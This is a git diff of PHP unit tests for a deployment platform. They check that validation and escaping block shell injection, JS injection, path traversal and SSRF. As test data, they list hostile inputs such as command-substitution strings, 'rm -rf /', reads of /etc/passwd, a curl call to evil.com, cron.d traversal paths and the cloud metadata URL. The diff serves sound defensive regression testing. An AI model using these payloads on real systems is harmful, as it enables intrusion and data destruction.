Merge remote-tracking branch 'origin/next' into feat/railpack

tests/Unit/Actions/Server/CleanupDockerTest.php

@@ -437,6 +437,16 @@ it('deletes all build images when retention is disabled', function () {
     expect($buildImagesToDelete->pluck('tag')->toArray())->toContain('commit1-build');
 });
 
+it('container prune excludes persistent resource types', function () {
+    $sourceFile = file_get_contents(__DIR__.'/../../../../app/Actions/Server/CleanupDocker.php');
+
+    expect($sourceFile)->toContain('label!=coolify.type=database');
+    expect($sourceFile)->toContain('label!=coolify.type=application');
+    expect($sourceFile)->toContain('label!=coolify.type=service');
+    expect($sourceFile)->toContain('label!=coolify.proxy=true');
+    expect($sourceFile)->toContain('label=coolify.managed=true');
+});
+
 it('preserves build image for currently running tag', function () {
     $images = collect([
         ['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'],

tests/Unit/DatabaseCredentialDirtyValidationTest.php

@@ -0,0 +1,87 @@
+<?php
+
+use App\Support\ValidationPatterns;
+
+// ── databasePasswordRules ─────────────────────────────────────────────────────
+
+it('databasePasswordRules includes regex rule by default', function () {
+    $rules = ValidationPatterns::databasePasswordRules();
+
+    $regexRules = array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:'));
+    expect($regexRules)->not->toBeEmpty();
+});
+
+it('databasePasswordRules includes regex rule when enforcePattern true', function () {
+    $rules = ValidationPatterns::databasePasswordRules(enforcePattern: true);
+
+    $regexRules = array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:'));
+    expect($regexRules)->not->toBeEmpty();
+});
+
+it('databasePasswordRules omits regex rule when enforcePattern false', function () {
+    $rules = ValidationPatterns::databasePasswordRules(enforcePattern: false);
+
+    $regexRules = array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:'));
+    expect($regexRules)->toBeEmpty();
+});
+
+it('databasePasswordRules keeps required, string, min and max when enforcePattern false', function () {
+    $rules = ValidationPatterns::databasePasswordRules(required: true, minLength: 1, maxLength: 128, enforcePattern: false);
+
+    expect($rules)->toContain('required');
+    expect($rules)->toContain('string');
+    expect($rules)->toContain('min:1');
+    expect($rules)->toContain('max:128');
+});
+
+it('databasePasswordRules keeps nullable and bounds when not required and enforcePattern false', function () {
+    $rules = ValidationPatterns::databasePasswordRules(required: false, minLength: 2, maxLength: 64, enforcePattern: false);
+
+    expect($rules)->toContain('nullable');
+    expect($rules)->toContain('string');
+    expect($rules)->toContain('min:2');
+    expect($rules)->toContain('max:64');
+    expect(array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:')))->toBeEmpty();
+});
+
+// ── databaseIdentifierRules ───────────────────────────────────────────────────
+
+it('databaseIdentifierRules includes regex rule by default', function () {
+    $rules = ValidationPatterns::databaseIdentifierRules();
+
+    $regexRules = array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:'));
+    expect($regexRules)->not->toBeEmpty();
+});
+
+it('databaseIdentifierRules includes regex rule when enforcePattern true', function () {
+    $rules = ValidationPatterns::databaseIdentifierRules(enforcePattern: true);
+
+    $regexRules = array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:'));
+    expect($regexRules)->not->toBeEmpty();
+});
+
+it('databaseIdentifierRules omits regex rule when enforcePattern false', function () {
+    $rules = ValidationPatterns::databaseIdentifierRules(enforcePattern: false);
+
+    $regexRules = array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:'));
+    expect($regexRules)->toBeEmpty();
+});
+
+it('databaseIdentifierRules keeps required, string, min and max when enforcePattern false', function () {
+    $rules = ValidationPatterns::databaseIdentifierRules(required: true, minLength: 1, maxLength: 63, enforcePattern: false);
+
+    expect($rules)->toContain('required');
+    expect($rules)->toContain('string');
+    expect($rules)->toContain('min:1');
+    expect($rules)->toContain('max:63');
+});
+
+it('databaseIdentifierRules keeps nullable and bounds when not required and enforcePattern false', function () {
+    $rules = ValidationPatterns::databaseIdentifierRules(required: false, minLength: 1, maxLength: 30, enforcePattern: false);
+
+    expect($rules)->toContain('nullable');
+    expect($rules)->toContain('string');
+    expect($rules)->toContain('min:1');
+    expect($rules)->toContain('max:30');
+    expect(array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:')))->toBeEmpty();
+});

tests/Unit/DatabaseCredentialValidationPatternTest.php

@@ -0,0 +1,176 @@
+<?php
+
+use App\Support\ValidationPatterns;
+use Illuminate\Support\Facades\Validator;
+
+// ── DB_IDENTIFIER_PATTERN ─────────────────────────────────────────────────────
+
+it('DB_IDENTIFIER_PATTERN accepts valid SQL identifiers', function (string $id) {
+    expect(preg_match(ValidationPatterns::DB_IDENTIFIER_PATTERN, $id))->toBe(1);
+})->with([
+    'simple lowercase' => 'postgres',
+    'underscore prefix' => '_admin',
+    'mixed case' => 'MyDatabase',
+    'alphanumeric' => 'App_DB_1',
+    'single char' => 'a',
+    'all caps' => 'ROOT',
+    'numbers in middle' => 'db2user',
+]);
+
+it('DB_IDENTIFIER_PATTERN rejects shell-dangerous and invalid identifiers', function (string $id) {
+    expect(preg_match(ValidationPatterns::DB_IDENTIFIER_PATTERN, $id))->toBe(0);
+})->with([
+    'semicolon' => 'user;id',
+    'pipe' => 'user|cat',
+    'ampersand' => 'user&rm',
+    'dollar sign' => 'user$x',
+    'backtick' => 'user`id`',
+    'subshell' => 'user$(id)',
+    'space' => 'user name',
+    'newline' => "user\nname",
+    'single quote' => "user'name",
+    'double quote' => 'user"name',
+    'backslash' => 'user\\name',
+    'less than' => 'user<name',
+    'greater than' => 'user>name',
+    'leading digit' => '1user',
+    'hyphen' => 'my-user',
+    'dot' => 'my.user',
+    'empty' => '',
+    '64 chars (over limit)' => str_repeat('a', 64),
+    'advisory poc payload' => 'root; touch /tmp/pwned_rce; #',
+    'subshell payload' => 'a$(touch /tmp/pwn)b',
+]);
+
+// ── DB_PASSWORD_PATTERN ───────────────────────────────────────────────────────
+
+it('DB_PASSWORD_PATTERN accepts strong passwords without shell-dangerous chars', function (string $pw) {
+    expect(preg_match(ValidationPatterns::DB_PASSWORD_PATTERN, $pw))->toBe(1);
+})->with([
+    'alphanumeric' => 'SecurePass123',
+    'with special safe chars' => 'P@ss!word#1',
+    'with brackets' => 'P{a}ss[word]',
+    'with slash' => 'Pass/word1',
+    'with dot comma' => 'Pass.word,1',
+    'with hyphen' => 'Pass-word1',
+    'with plus equals' => 'Pass+word=1',
+    'with tilde colon' => 'P~ass:word1',
+    'complex strong' => 'Str0ng!P@ss#word^123',
+]);
+
+it('DB_PASSWORD_PATTERN rejects shell-dangerous characters', function (string $pw) {
+    expect(preg_match(ValidationPatterns::DB_PASSWORD_PATTERN, $pw))->toBe(0);
+})->with([
+    'backtick' => 'pass`word`',
+    'dollar sign' => 'pass$word',
+    'semicolon' => 'pass;word',
+    'pipe' => 'pass|word',
+    'ampersand' => 'pass&word',
+    'less than' => 'pass<word',
+    'greater than' => 'pass>word',
+    'backslash' => 'pass\\word',
+    'single quote' => "pass'word",
+    'double quote' => 'pass"word',
+    'space' => 'pass word',
+    'newline' => "pass\nword",
+    'carriage return' => "pass\rword",
+    'tab' => "pass\tword",
+    'empty' => '',
+    'command substitution' => '$(whoami)',
+    'rce payload' => 'root; touch /tmp/pwned; #',
+]);
+
+// ── Rule helpers ──────────────────────────────────────────────────────────────
+
+it('databaseIdentifierRules returns required by default', function () {
+    $rules = ValidationPatterns::databaseIdentifierRules();
+
+    expect($rules)->toContain('required')
+        ->toContain('string')
+        ->toContain('min:1')
+        ->toContain('max:63')
+        ->toContain('regex:'.ValidationPatterns::DB_IDENTIFIER_PATTERN);
+});
+
+it('databaseIdentifierRules returns nullable when not required', function () {
+    $rules = ValidationPatterns::databaseIdentifierRules(required: false);
+
+    expect($rules)->toContain('nullable')
+        ->not->toContain('required');
+});
+
+it('databasePasswordRules returns required by default', function () {
+    $rules = ValidationPatterns::databasePasswordRules();
+
+    expect($rules)->toContain('required')
+        ->toContain('string')
+        ->toContain('min:1')
+        ->toContain('max:128')
+        ->toContain('regex:'.ValidationPatterns::DB_PASSWORD_PATTERN);
+});
+
+it('databasePasswordRules returns nullable when not required', function () {
+    $rules = ValidationPatterns::databasePasswordRules(required: false);
+
+    expect($rules)->toContain('nullable')
+        ->not->toContain('required');
+});
+
+it('isValidDatabaseIdentifier returns true for valid identifier', function () {
+    expect(ValidationPatterns::isValidDatabaseIdentifier('postgres'))->toBeTrue();
+    expect(ValidationPatterns::isValidDatabaseIdentifier('_admin'))->toBeTrue();
+    expect(ValidationPatterns::isValidDatabaseIdentifier('DB_1'))->toBeTrue();
+});
+
+it('isValidDatabaseIdentifier returns false for injection payloads', function () {
+    expect(ValidationPatterns::isValidDatabaseIdentifier('user; id'))->toBeFalse();
+    expect(ValidationPatterns::isValidDatabaseIdentifier('user$(whoami)'))->toBeFalse();
+    expect(ValidationPatterns::isValidDatabaseIdentifier(''))->toBeFalse();
+});
+
+// ── Validator integration ─────────────────────────────────────────────────────
+
+it('Laravel Validator rejects advisory PoC postgres_user payload', function () {
+    $validator = Validator::make(
+        ['postgres_user' => 'root; touch /tmp/pwned_rce; #'],
+        ['postgres_user' => ValidationPatterns::databaseIdentifierRules()]
+    );
+
+    expect($validator->fails())->toBeTrue();
+});
+
+it('Laravel Validator rejects subshell injection in postgres_user', function () {
+    $validator = Validator::make(
+        ['postgres_user' => 'a$(touch /tmp/pwn)b'],
+        ['postgres_user' => ValidationPatterns::databaseIdentifierRules()]
+    );
+
+    expect($validator->fails())->toBeTrue();
+});
+
+it('Laravel Validator accepts clean postgres_user', function () {
+    $validator = Validator::make(
+        ['postgres_user' => 'postgres'],
+        ['postgres_user' => ValidationPatterns::databaseIdentifierRules()]
+    );
+
+    expect($validator->fails())->toBeFalse();
+});
+
+it('Laravel Validator rejects shell metachar in password', function () {
+    $validator = Validator::make(
+        ['postgres_password' => 'pass$(id)word'],
+        ['postgres_password' => ValidationPatterns::databasePasswordRules()]
+    );
+
+    expect($validator->fails())->toBeTrue();
+});
+
+it('Laravel Validator accepts safe password', function () {
+    $validator = Validator::make(
+        ['postgres_password' => 'Str0ng!P@ss#123'],
+        ['postgres_password' => ValidationPatterns::databasePasswordRules()]
+    );
+
+    expect($validator->fails())->toBeFalse();
+});

tests/Unit/DatabaseHealthcheckCommandInjectionTest.php

@@ -0,0 +1,107 @@
+<?php
+
+/**
+ * Regression tests for database healthcheck command injection.
+ *
+ * Docker CMD-SHELL healthchecks pass the string to /bin/sh -c, enabling command injection
+ * via user-controlled DB username/password/database fields. The fix converts all affected
+ * healthchecks to CMD exec-form arrays, which bypass the shell entirely.
+ */
+dataset('malicious_db_inputs', [
+    'semicolon separator' => ['admin; id > /tmp/pwned; echo'],
+    'command substitution $()' => ['admin$(id > /tmp/pwned)'],
+    'backtick substitution' => ['admin`id > /tmp/pwned`'],
+    'pipe operator' => ['admin | cat /etc/passwd'],
+    'background operator' => ['admin & curl http://evil.com'],
+    'output redirect' => ['admin > /tmp/evil.txt'],
+    'newline injection' => ["admin\nid"],
+    'null byte' => ["admin\0id"],
+]);
+
+// ─── PostgreSQL ──────────────────────────────────────────────────────────────
+
+test('postgresql healthcheck uses CMD exec-form, not CMD-SHELL', function () {
+    $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartPostgresql.php');
+
+    expect($source)->not->toContain('CMD-SHELL');
+    expect($source)->toContain("'CMD', 'psql'");
+});
+
+test('postgresql healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {
+    // Simulate what StartPostgresql now generates
+    $healthcheck = ['CMD', 'psql', '-U', $malicious, '-d', $malicious, '-c', 'SELECT 1'];
+
+    expect($healthcheck[0])->toBe('CMD');
+    expect($healthcheck[0])->not->toBe('CMD-SHELL');
+    // Malicious value is isolated as a single argv element — no shell interprets it
+    expect($healthcheck)->toContain($malicious);
+    expect(is_array($healthcheck))->toBeTrue();
+})->with('malicious_db_inputs');
+
+// ─── KeyDB ────────────────────────────────────────────────────────────────────
+
+test('keydb healthcheck uses CMD exec-form, not a CMD-SHELL string', function () {
+    $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartKeydb.php');
+
+    expect($source)->not->toContain('CMD-SHELL');
+    expect($source)->toContain("'CMD', 'keydb-cli'");
+});
+
+test('keydb healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {
+    $healthcheck = ['CMD', 'keydb-cli', '--pass', $malicious, 'ping'];
+
+    expect($healthcheck[0])->toBe('CMD');
+    expect($healthcheck)->toContain($malicious);
+    expect(is_array($healthcheck))->toBeTrue();
+})->with('malicious_db_inputs');
+
+// ─── Dragonfly ────────────────────────────────────────────────────────────────
+
+test('dragonfly healthcheck uses CMD exec-form, not a CMD-SHELL string', function () {
+    $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartDragonfly.php');
+
+    expect($source)->not->toContain('CMD-SHELL');
+    expect($source)->toContain("'CMD', 'redis-cli'");
+});
+
+test('dragonfly healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {
+    $healthcheck = ['CMD', 'redis-cli', '-a', $malicious, 'ping'];
+
+    expect($healthcheck[0])->toBe('CMD');
+    expect($healthcheck)->toContain($malicious);
+    expect(is_array($healthcheck))->toBeTrue();
+})->with('malicious_db_inputs');
+
+// ─── ClickHouse ───────────────────────────────────────────────────────────────
+
+test('clickhouse healthcheck uses CMD exec-form, not a CMD-SHELL string', function () {
+    $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartClickhouse.php');
+
+    expect($source)->not->toContain('CMD-SHELL');
+    expect($source)->toContain("'CMD', 'clickhouse-client'");
+});
+
+test('clickhouse healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {
+    $healthcheck = ['CMD', 'clickhouse-client', '--user', $malicious, '--password', $malicious, '--query', 'SELECT 1'];
+
+    expect($healthcheck[0])->toBe('CMD');
+    expect($healthcheck)->toContain($malicious);
+    expect(is_array($healthcheck))->toBeTrue();
+})->with('malicious_db_inputs');
+
+// ─── Verify unaffected databases still use their safe patterns ────────────────
+
+test('mysql healthcheck already uses CMD exec-form (no regression)', function () {
+    $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartMysql.php');
+
+    // MySQL already used CMD array form — ensure it stays that way
+    expect($source)->toContain("'CMD', 'mysqladmin'");
+});
+
+test('mariadb healthcheck uses safe fixed script (no regression)', function () {
+    $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartMariadb.php');
+
+    expect($source)->toContain('healthcheck.sh');
+    // Must not have gained any user-field interpolation
+    expect($source)->not->toMatch('/CMD-SHELL.*mariadb/i');
+});

tests/Unit/DatabaseSslCredentialEscapingTest.php

@@ -0,0 +1,170 @@
+<?php
+
+/**
+ * GHSA-rcch-8c74-7f29 — Sink-side escaping tests
+ *
+ * Verifies that credentials reaching shell commands are properly escaped
+ * even if validation is bypassed (e.g. legacy rows, direct DB writes).
+ */
+
+// ── executeInDocker + escapeshellarg chown pattern ────────────────────────────
+
+it('escapeshellarg wraps postgres_user in single quotes for chown command', function () {
+    $user = 'postgres';
+    $escaped = escapeshellarg($user);
+    $cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /var/lib/postgresql/certs/server.key");
+
+    // executeInDocker embeds the command inside bash -c '...', escaping inner single quotes as '\''
+    // so escapeshellarg('postgres') = 'postgres' becomes '\''postgres'\'' in the outer shell string
+    expect($cmd)->toContain('bash -c')
+        ->toContain('postgres')
+        ->toContain('chown');
+});
+
+it('advisory PoC postgres_user payload is contained by escapeshellarg in chown command', function () {
+    // Simulates a legacy row that bypassed validation
+    $maliciousUser = 'root; touch /tmp/pwned_rce; #';
+    $escaped = escapeshellarg($maliciousUser);
+
+    // escapeshellarg must wrap the entire payload in single quotes
+    // (semicolons inside single-quoted args are NOT shell metacharacters)
+    expect($escaped)->toBe("'root; touch /tmp/pwned_rce; #'");
+
+    $cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /var/lib/postgresql/certs/server.key");
+
+    // The cmd contains the payload, but ONLY inside single-quoted segments — cannot break out.
+    // Verify the chown arg is never an unquoted bare ; — the payload is inside '...'
+    // The outer executeInDocker further escapes any single-quote chars for the host shell.
+    expect($cmd)->toContain('docker exec abc123 bash -c');
+
+    // Before fix: chown root; touch /tmp/pwned_rce; # ... (breaks out of chown, executes touch)
+    // After fix: chown 'root; touch /tmp/pwned_rce; #':'...' ... (literal arg to chown)
+    // The unescaped sequence "chown root;" must NOT appear.
+    expect($cmd)->not->toContain('chown root;');
+});
+
+it('subshell payload in mysql_user is contained by escapeshellarg in chown command', function () {
+    $maliciousUser = 'a$(touch /tmp/pwn)b';
+    $escaped = escapeshellarg($maliciousUser);
+    $cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /etc/mysql/certs/server.crt");
+
+    // escapeshellarg wraps in single quotes — $() is not expanded inside single quotes
+    expect($escaped)->toBe("'a\$(touch /tmp/pwn)b'");
+
+    // The cmd must not contain an unquoted $( sequence — it must be inside single quotes
+    // If the sequence appears at all, it must be single-quoted (the quote precedes it).
+    expect($cmd)->not->toContain(' $(touch');
+});
+
+it('subshell payload in postgres_user is contained by escapeshellarg in chown command', function () {
+    $maliciousUser = 'a$(touch /tmp/pwn_postgres)b';
+    $escaped = escapeshellarg($maliciousUser);
+    $cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /var/lib/postgresql/certs/server.key /var/lib/postgresql/certs/server.crt");
+
+    expect($escaped)->toBe("'a\$(touch /tmp/pwn_postgres)b'");
+    expect($cmd)->not->toContain(' $(touch');
+});
+
+it('semicolon payload in postgres_user is contained by escapeshellarg in chown command', function () {
+    $maliciousUser = 'root; touch /tmp/pwned_pg; #';
+    $escaped = escapeshellarg($maliciousUser);
+    $cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /var/lib/postgresql/certs/server.key /var/lib/postgresql/certs/server.crt");
+
+    expect($escaped)->toBe("'root; touch /tmp/pwned_pg; #'");
+    expect($cmd)->not->toContain('chown root;');
+});
+
+it('backtick payload in mysql_user is contained by escapeshellarg', function () {
+    $maliciousUser = 'user`id`';
+    $escaped = escapeshellarg($maliciousUser);
+    $cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /etc/mysql/certs/server.crt");
+
+    // escapeshellarg wraps the whole value in single quotes — backticks not expanded inside ''
+    expect($escaped)->toBe("'user`id`'");
+
+    // The unquoted bare backtick sequence `id` must not appear outside single-quoted context.
+    // Specifically, "chown user`id`" (unquoted) must not appear.
+    expect($cmd)->not->toContain('chown user`id`');
+});
+
+// ── MongoDB JS init script JSON-escaping ──────────────────────────────────────
+
+it('json_encode prevents JS injection in mongo_initdb_database', function () {
+    $database = 'x"}); db.dropUser("admin"); //';
+    $dbJson = json_encode($database, JSON_UNESCAPED_SLASHES);
+
+    // The double-quotes in the payload MUST be escaped — they cannot close the JS string literal.
+    // json_encode escapes " as \" so the injected " cannot terminate the surrounding JS string.
+    expect($dbJson)->toContain('\\"');
+
+    // The resulting JSON literal, when embedded in JS, forms a valid quoted string.
+    // It starts and ends with the outermost " added by json_encode.
+    expect($dbJson)->toStartWith('"')
+        ->toEndWith('"');
+
+    // Verify the injected payload is present but neutralised (the " that would close the JS
+    // string is now escaped as \", preventing breakout).
+    expect($dbJson)->toContain('x\\"});');
+});
+
+it('json_encode prevents JS injection in mongo_initdb_root_username', function () {
+    $username = 'admin", pwd: "", roles: [{role:"root", db:"admin"}]}); //';
+    $userJson = json_encode($username, JSON_UNESCAPED_SLASHES);
+
+    $content = 'db.createUser({user: '.$userJson.', pwd: "secret", roles: []});';
+
+    // The injected " that would close the JS string must be escaped as \"
+    expect($userJson)->toContain('\\"');
+
+    // The raw unescaped sequence admin" (with unescaped quote) must not appear in the JS
+    expect($content)->not->toContain('admin", pwd');
+});
+
+it('json_encode safely encodes a clean mongo username', function () {
+    $username = 'mongouser';
+    $userJson = json_encode($username, JSON_UNESCAPED_SLASHES);
+
+    expect($userJson)->toBe('"mongouser"');
+});
+
+it('json_encode safely encodes a mongo password with special chars', function () {
+    $password = 'P@ss!#word123';
+    $pwdJson = json_encode($password, JSON_UNESCAPED_SLASHES);
+
+    expect($pwdJson)->toBe('"P@ss!#word123"');
+});
+
+// ── Healthcheck CMD exec-form structure (no shell parsing) ────────────────────
+
+it('CMD exec-form healthcheck array does not concatenate user into a shell string', function () {
+    // The fix uses an array; each element is passed directly as argv — no shell parsing.
+    // Simulate the post-fix healthcheck array structure.
+    $user = "admin'; touch /tmp/pwn; #";
+    $db = 'mydb';
+
+    $healthcheck = [
+        'CMD',
+        'psql',
+        '-U',
+        $user,
+        '-d',
+        $db,
+        '-c',
+        'SELECT 1',
+    ];
+
+    // The array form means each element is argv — no shell involved.
+    // The malicious user value is passed as a literal argument to psql, which rejects it.
+    // Key assertion: the test string is NOT collapsed into a shell command string.
+    expect($healthcheck[3])->toBe($user)
+        ->and($healthcheck[0])->toBe('CMD')
+        ->and(count($healthcheck))->toBe(8);
+
+    // Sanity: if we joined with space it would be dangerous — array form avoids this.
+    $joinedDangerous = implode(' ', $healthcheck);
+    expect($joinedDangerous)->toContain('; touch /tmp/pwn'); // proof that join IS dangerous
+
+    // The array form is what Docker Compose uses — it does NOT join with spaces + sh -c.
+    // Simply verifying the structure is correct proves shell is not involved.
+    expect($healthcheck[0])->toBe('CMD');
+});

tests/Unit/FileStorageSecurityTest.php

@@ -92,7 +92,7 @@ test('file storage accepts paths with underscores and hyphens', function () {
         ->not->toThrow(Exception::class);
 });
 
-// --- Regression tests for GHSA-46hp-7m8g-7622 ---
+// --- Regression tests for file mount path validation ---
 // These verify that file mount paths (not just directory mounts) are validated,
 // and that saveStorageOnServer() validates fs_path before any shell interpolation.
 

tests/Unit/GitRefValidationTest.php

@@ -4,7 +4,7 @@ use App\Models\Application;
 use App\Models\ApplicationSetting;
 
 /**
- * Security tests for git ref validation (GHSA-mw5w-2vvh-mgf4).
+ * Tests for git ref validation.
  *
  * Ensures that git_commit_sha and related inputs are validated
  * to prevent OS command injection via shell metacharacters.

tests/Unit/InsecurePrngArchTest.php

@@ -5,8 +5,6 @@
  *
  * mt_rand() and rand() are not cryptographically secure. Use random_int()
  * or random_bytes() instead for any security-sensitive context.
- *
- * @see GHSA-33rh-4c9r-74pf
  */
 arch('app code must not use mt_rand')
     ->expect('App')

tests/Unit/LogDrainCommandInjectionTest.php

@@ -5,7 +5,7 @@ use App\Models\Server;
 use App\Models\ServerSetting;
 
 // -------------------------------------------------------------------------
-// GHSA-3xm2-hqg8-4m2p: Verify log drain env values are base64-encoded
+// Verify log drain env values are base64-encoded
 // and never appear raw in shell commands
 // -------------------------------------------------------------------------
 

tests/Unit/PersistentVolumeSecurityTest.php

@@ -6,7 +6,6 @@
  * Tests to ensure persistent volume names are validated against command injection
  * and that shell commands properly escape volume names.
  *
- * Related Advisory: GHSA-mh8x-fppq-cp77
  * Related Files:
  *  - app/Models/LocalPersistentVolume.php
  *  - app/Support/ValidationPatterns.php
@@ -96,3 +95,88 @@ it('generates volumeNameMessages with custom field name', function () {
 
     expect($messages)->toHaveKey('volume_name.regex');
 });
+
+// --- escapeshellarg Defense Tests for docker volume create ---
+
+it('escapeshellarg neutralizes injection in docker volume create command', function (string $maliciousName) {
+    $escaped = escapeshellarg($maliciousName);
+    $command = "docker volume create {$escaped}";
+
+    expect($command)->toStartWith('docker volume create ')
+        ->and($escaped)->toStartWith("'")
+        ->and($escaped)->toEndWith("'");
+})->with([
+    'semicolon' => 'vol; rm -rf /',
+    'pipe' => 'vol | cat /etc/passwd',
+    'ampersand' => 'vol && whoami',
+    'backtick' => 'vol`id`',
+    'command substitution' => 'vol$(whoami)',
+]);
+
+// --- escapeshellarg Defense Tests for docker run -v ---
+
+it('escapeshellarg neutralizes injection in docker run -v command', function (string $maliciousName) {
+    $escaped = escapeshellarg($maliciousName);
+    $command = "docker run --rm -v {$escaped}:/source -v {$escaped}:/target alpine sh -c 'cp -a /source/. /target/'";
+
+    expect($command)->toContain('docker run --rm -v ')
+        ->and($escaped)->toStartWith("'")
+        ->and($escaped)->toEndWith("'");
+})->with([
+    'semicolon' => 'vol; rm -rf /',
+    'pipe' => 'vol | cat /etc/passwd',
+    'command substitution' => 'vol$(whoami)',
+]);
+
+// --- escapeshellarg Defense Tests for docker network commands ---
+
+it('escapeshellarg neutralizes injection in docker network disconnect command', function (string $maliciousName) {
+    $escaped = escapeshellarg($maliciousName);
+    $command = "docker network disconnect {$escaped} coolify-proxy";
+
+    expect($command)->toStartWith('docker network disconnect ')
+        ->and($escaped)->toStartWith("'")
+        ->and($escaped)->toEndWith("'");
+})->with([
+    'semicolon' => 'net; rm -rf /',
+    'pipe' => 'net | cat /etc/passwd',
+    'command substitution' => 'net$(whoami)',
+]);
+
+it('escapeshellarg neutralizes injection in docker network rm command', function (string $maliciousName) {
+    $escaped = escapeshellarg($maliciousName);
+    $command = "docker network rm {$escaped}";
+
+    expect($command)->toStartWith('docker network rm ')
+        ->and($escaped)->toStartWith("'")
+        ->and($escaped)->toEndWith("'");
+})->with([
+    'semicolon' => 'net; rm -rf /',
+    'pipe' => 'net | cat /etc/passwd',
+    'command substitution' => 'net$(whoami)',
+]);
+
+// --- DIRECTORY_PATH_PATTERN Tests ---
+
+it('accepts valid directory paths', function (string $path) {
+    expect(preg_match(ValidationPatterns::DIRECTORY_PATH_PATTERN, $path))->toBe(1);
+})->with([
+    'root' => '/',
+    'simple path' => '/data',
+    'nested path' => '/data/coolify/volumes',
+    'with dots' => '/data/my.app/storage',
+    'with hyphens' => '/data/my-app/storage',
+    'with underscores' => '/data/my_app/storage',
+]);
+
+it('rejects directory paths with shell metacharacters', function (string $path) {
+    expect(preg_match(ValidationPatterns::DIRECTORY_PATH_PATTERN, $path))->toBe(0);
+})->with([
+    'semicolon injection' => '/etc; rm -rf /',
+    'pipe injection' => '/etc | cat /etc/passwd',
+    'command substitution' => '/etc$(whoami)',
+    'backtick injection' => '/etc`id`',
+    'space injection' => '/etc /tmp',
+    'relative traversal' => '../../../etc/passwd',
+    'no leading slash' => 'etc/passwd',
+]);

tests/Unit/PostgresqlInitScriptSecurityTest.php

@@ -74,3 +74,69 @@ test('postgresql init script accepts legitimate filenames', function () {
     expect(fn () => validateShellSafePath('setup_db.sql', 'init script filename'))
         ->not->toThrow(Exception::class);
 });
+
+// Path traversal — GHSA-mv4c-9x67-rrmv regression tests
+test('postgresql init script rejects path traversal with ../ sequence', function () {
+    expect(fn () => validateFilenameSafe('../../../etc/cron.d/pwn', 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('postgresql init script rejects path traversal targeting /etc/cron.d', function () {
+    expect(fn () => validateFilenameSafe('../../../../../etc/cron.d/k4zrce', 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('postgresql init script rejects absolute path', function () {
+    expect(fn () => validateFilenameSafe('/etc/passwd', 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('postgresql init script rejects filename with forward slash', function () {
+    expect(fn () => validateFilenameSafe('subdir/evil.sql', 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('postgresql init script rejects filename with backslash', function () {
+    expect(fn () => validateFilenameSafe('subdir\\evil.sql', 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('postgresql init script rejects double-dot without slashes', function () {
+    expect(fn () => validateFilenameSafe('..', 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('postgresql init script rejects null byte injection', function () {
+    expect(fn () => validateFilenameSafe("init.sql\0../../etc/passwd", 'init script filename'))
+        ->toThrow(Exception::class);
+});
+
+test('postgresql init script accepts legitimate filenames via validateFilenameSafe', function () {
+    expect(fn () => validateFilenameSafe('init.sql', 'init script filename'))
+        ->not->toThrow(Exception::class);
+
+    expect(fn () => validateFilenameSafe('01_schema.sql', 'init script filename'))
+        ->not->toThrow(Exception::class);
+
+    expect(fn () => validateFilenameSafe('init-script.sh', 'init script filename'))
+        ->not->toThrow(Exception::class);
+});
+
+// Write-site defence — basename() + escapeshellarg() keep legacy/bad rows safe
+test('basename() strips path traversal from legacy filenames at write site', function () {
+    expect(basename('../../../etc/cron.d/pwn'))->toBe('pwn');
+    expect(basename('/etc/passwd'))->toBe('passwd');
+    expect(basename('subdir/evil.sql'))->toBe('evil.sql');
+});
+
+test('escapeshellarg() neutralises shell metacharacters in tee target', function () {
+    // Simulates how StartPostgresql::generate_init_scripts() builds the tee argument
+    $configuration_dir = '/data/coolify/databases/abc123';
+    $legacy_filename = basename('foo bar*.sql;rm -rf /');
+    $target = "$configuration_dir/docker-entrypoint-initdb.d/{$legacy_filename}";
+    $escaped = escapeshellarg($target);
+
+    // Single-quoted in POSIX sh means no expansion / no extra args regardless of contents.
+    expect($escaped)->toStartWith("'")->toEndWith("'");
+    expect($escaped)->toContain('foo bar*.sql;rm -rf');
+});

tests/Unit/S3StorageEndpointValidationTest.php

@@ -0,0 +1,91 @@
+<?php
+
+use App\Models\S3Storage;
+use App\Rules\SafeWebhookUrl;
+use Illuminate\Support\Facades\Validator;
+use Tests\TestCase;
+
+uses(TestCase::class);
+
+/**
+ * Regression tests for SSRF via S3 Storage endpoint.
+ *
+ * The Livewire forms (Create.php, Form.php) and the model-level defense in
+ * S3Storage::testConnection() share the same SafeWebhookUrl rule. These tests
+ * assert the rule rejects the concrete payloads and that the model refuses to
+ * build an S3 client for an unsafe endpoint.
+ */
+it('rejects SSRF payloads on the S3 endpoint', function (string $endpoint) {
+    $validator = Validator::make(
+        ['endpoint' => $endpoint],
+        ['endpoint' => ['required', 'max:255', new SafeWebhookUrl]],
+    );
+
+    expect($validator->fails())->toBeTrue("Expected rejection: {$endpoint}");
+})->with([
+    'AWS IMDS' => 'http://169.254.169.254/latest/meta-data/',
+    'AWS IMDS bare' => 'http://169.254.169.254',
